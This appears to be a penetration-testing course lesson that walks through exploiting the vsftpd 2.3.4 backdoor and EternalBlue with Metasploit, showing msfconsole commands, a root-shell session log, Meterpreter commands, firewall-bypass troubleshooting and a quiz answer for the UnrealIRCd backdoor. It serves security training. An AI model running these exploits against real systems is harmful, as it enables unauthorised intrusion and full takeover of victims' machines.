Exploiting Network Services with Metasploit

Hello! Welcome back to the "Network Exploitation & Initial Access" module.

In our last lesson, you learned how to navigate the Metasploit Framework, search for modules, and configure an exploit by setting the necessary options like RHOSTS and LHOST. We ended with a fully configured exploit, locked and loaded, aimed at a target.

Today, we pull the trigger. The objective of this lesson is to use Metasploit to exploit a vulnerable network service and gain initial shell access. You will execute the exploit you've prepared and witness the successful result: control over the target machine. This is the moment where reconnaissance and preparation pay off, marking the critical first step in compromising a system.

1. Executing the Exploit

In the last lesson, we left off after setting all the necessary options for our chosen exploit and payload. The final step in the process is to run the exploit. Within msfconsole, this is done with a simple command:

exploit

You can also use the command run, which is an alias for exploit. Once you issue this command, Metasploit will:

Check that all required options are set.
Package the exploit code.
Send the exploit to the target at the specified RHOSTS and RPORT.
If a reverse payload is used (like reverse_tcp), it will start a listener on your machine (LHOST) to catch the incoming connection.
If the exploit is successful, the payload is executed on the target, and a session is established.

Let's see this in action with the vsftpd_234_backdoor exploit we configured last time.

2. Case Study 1: Gaining a Root Command Shell

Our target is a machine running vsftpd version 2.3.4, which we know from our reconnaissance phase contains a backdoor. This backdoor, when triggered, opens a command shell on port 6200. Let's use Metasploit to automate this process and gain access.

Metasploit Hacking Demo (includes password cracking)

The video 'Metasploit Hacking Demo' by David Bombal provides a perfect, concise demonstration of exploiting this exact vulnerability. It shows how Metasploit automates the attack.

Watch the segment from 06:24 to 08:10. Pay attention to the full workflow: searching for the 'vsftpd' exploit, selecting it, setting the RHOSTS, and running the exploit. Notice the output when the exploit succeeds: 'Command shell session 1 opened' and the immediate root access (# prompt).

After running exploit, Metasploit will report that a session has been opened. If you don't get a shell prompt immediately, you can list your active sessions with the sessions command and interact with a specific one using sessions -i <session_id>.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 10.10.165.23:21 - Banner: 220 vsFTPd 2.3.4
[*] 10.10.165.23:21 - User 'user:)': abnormal reply: '331 Please specify the password.'
[+] 10.10.165.23:21 - Backdoor service has been spawned, handling...
[+] Found shell.
[*] Command shell session 1 opened (10.8.216.230:43981 -> 10.10.165.23:6200) at 2024-05-21 10:00:00 -0400

# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root)

Success! You have gained a command shell with root privileges. This is initial access. However, this type of shell is quite basic. It's often non-interactive, unstable, and lacks advanced features. For more sophisticated control, we need a better payload.

3. Upgrading Your Access: Command Shell vs. Meterpreter

While a command shell is great for proving a vulnerability, a more powerful payload called Meterpreter is the preferred choice for penetration testers.

Feature	Standard Command Shell	Meterpreter Shell
Stability	Often unstable; can die easily.	Stable session management.
Stealth	Runs as a new process on disk (e.g., `/bin/sh`), which is easily detectable.	Resides entirely in memory, leaving minimal forensic evidence.
Functionality	Limited to standard OS commands. File transfers are difficult.	Rich post-exploitation API for file system interaction, process migration, privilege escalation, network pivoting, and more.
Interactivity	Basic, non-interactive (no tab-completion, command history, etc.).	Fully interactive shell.

Given your goal to become an expert, mastering Meterpreter is non-negotiable. Let's see how to gain a Meterpreter shell.

4. Case Study 2: Gaining a Meterpreter Shell

Let's target a different vulnerability: the infamous MS17-010, also known as "EternalBlue." This exploit targets a flaw in the SMB service on older Windows systems. The default payload for this Metasploit module is Meterpreter.

Penetration Testing with Metasploit: A Comprehensive Tutorial

The tutorial 'Penetration Testing with Metasploit' clearly demonstrates a successful EternalBlue exploit that results in a Meterpreter session.

Watch from 14:09 to 15:54. The presenter has already configured the exploit. Observe the exploit command being run and the key output: 'Meterpreter session 1 opened'. Notice how the prompt changes to meterpreter >, giving direct access to Meterpreter's advanced commands like sysinfo.

Once the meterpreter > prompt appears, you are in control. You can run commands like:

sysinfo: Get system information.
getuid: See the user context the shell is running as.
ps: List running processes.
ls: List files in the current directory.
shell: Drop into a standard command shell on the target.

5. Troubleshooting: When Exploits Fail

In the real world, exploits don't always work on the first try. A target might be patched, have a slightly different configuration, or be protected by a firewall. As a tester, your job is to analyze the failure and adapt.

Common reasons for failure include:

Incorrect Target/Payload Architecture: Using an x86 (32-bit) payload on an x64 (64-bit) system, or vice-versa.
Wrong Exploit: The service may be a different version than you thought.
Network Filtering: A firewall or IPS may be blocking the exploit traffic or the callback connection.
System Hardening: The operating system may have protections that prevent the payload from executing.

When an exploit fails, don't just give up. Try these steps:

Verify your options: Did you set the correct RHOSTS, RPORT, and LHOST?
Change your payload: Sometimes a reverse_https payload can bypass a firewall that blocks reverse_tcp.
Try a different exploit: Metasploit often has multiple exploits for the same vulnerability (e.g., eternalblue and eternalromance for MS17-010).

This next clip is one of the most valuable you will watch, as it shows exactly this troubleshooting process.

Penetration Testing with Metasploit: A Comprehensive Tutorial

Continuing with the 'Penetration Testing with Metasploit' video, the presenter now attempts to exploit a Windows 10 machine. The initial attempt fails, forcing them to troubleshoot.

Watch from 15:54 to 19:30. This is a critical section. Notice the thought process: the first exploit fails. The presenter then changes the payload, which also fails. Finally, they switch to a different but related exploit module (eternalromance) which succeeds. This iterative process is fundamental to practical penetration testing.

Test your understanding!

During reconnaissance with Nmap, you found a Linux server at 192.168.50.110 running UnrealIRCd on port 6697. Your Nmap scan didn't return a version number, but a quick search online tells you that older versions of UnrealIRCd were vulnerable to a backdoor.

Describe the steps and commands you would use in msfconsole to attempt to gain a shell on this machine. What would be the very first command you run inside msfconsole?

Show answer

Here is a likely workflow:

Search for the exploit: Start by searching for exploits related to the service.
```
msf6 > search unrealircd
```
Select the exploit: The search will likely return exploit/unix/irc/unreal_ircd_3281_backdoor.
```
msf6 > use exploit/unix/irc/unreal_ircd_3281_backdoor
```
Check and set options: View the required options and set the target IP.
```
msf6 exploit(...) > show options
msf6 exploit(...) > set RHOSTS 192.168.50.110
```
(Note: This particular exploit may not require LHOST if it uses a bind shell, but it's always good to check the options after selecting a payload).
Execute the exploit:
```
msf6 exploit(...) > exploit
```
Confirm access: If successful, you'll get a session. You would then run a command like whoami or id to confirm your access level.

Conclusion

Congratulations! You have successfully crossed the threshold from scanning a target to gaining initial access. This is a major milestone in your journey.

Key Takeaways:

The exploit or run command launches the attack.
A successful exploit results in a session, which can be a basic command shell or a powerful Meterpreter shell.
Meterpreter is the preferred payload due to its stability, stealth, and extensive post-exploitation features.
Troubleshooting is a core skill. When an exploit fails, methodically check your options, change payloads, or try alternative exploit modules.

Next Lesson Preview:
In this lesson, Metasploit automatically handled the payload for you. But what if you need to deliver a payload outside of the framework, such as in a web exploit or a phishing document? In the next lesson, we will dive into msfvenom, the command-line tool used to generate standalone payloads and understand basic encoding techniques to evade detection.